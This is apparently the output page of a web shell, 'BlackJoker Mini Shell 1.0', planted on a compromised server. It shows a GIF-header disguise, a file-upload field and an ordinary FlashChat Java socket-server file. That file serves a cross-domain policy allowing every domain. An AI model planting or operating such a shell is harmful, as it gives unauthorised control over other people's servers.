GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/chat/install_files/temp_dir/javaServer/flashchat/com/socketServer/
Upload File :
Current File : /home/serb/www/chat/install_files/temp_dir/javaServer/flashchat/com/socketServer/ServerConn.java

/*
* Java socket server for FlashChat created by RuAnSoft (http://ruansoft.net), (c) 2006/07 TUFaT.com
*/
package flashchat.com.socketServer;

import java.net.Socket;
import java.io.IOException;
import java.io.BufferedWriter;
import java.io.OutputStreamWriter;

public class ServerConn extends Object implements ReadCallBack{
	protected SimpleServer server;
	protected Socket clientSock;
	protected ReadThread reader;
	protected BufferedWriter outStream;
	public ServerConn(SimpleServer server, Socket clientSock)
			throws IOException
	{
		
		this.server = server;
		this.clientSock = clientSock;
		outStream =  new BufferedWriter(new OutputStreamWriter(clientSock.getOutputStream(), "UTF8"));
		reader = new ReadThread(this, this.clientSock);
				
		reader.start();
	}

	public synchronized void dataReady(String str)
	{
		if (str == null)
		{
			disconnect();
			return;
		}
		String str1 = "";
		if (str.equals("<policy-file-request/>")) {
			String buf = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><cross-domain-policy><allow-access-from domain=\"*\" to-ports=\"*\" secure=\"false\" /></cross-domain-policy>\u0000";
			try
			{
				System.out.println(buf);
				outStream.write(buf);
				outStream.flush();
				disconnect();
			}
			catch (Exception e)
			{
				System.out.println("Exception "+e.getMessage());
			}
		}
		else {
			try
			{
				str1 = server.processString(str,outStream);				
				//outStream.flush();
			}
			catch( Exception writeError)
			{
				writeError.printStackTrace();
				disconnect();
				return;
			}
		}
	}
	public synchronized void disconnect()
	{
		try
		{
			reader.closeConnection();
		}
		catch( Exception cantclose)
		{
			reader.stop();
		}
	}
}

./BlackJoker Mini Shell 1.0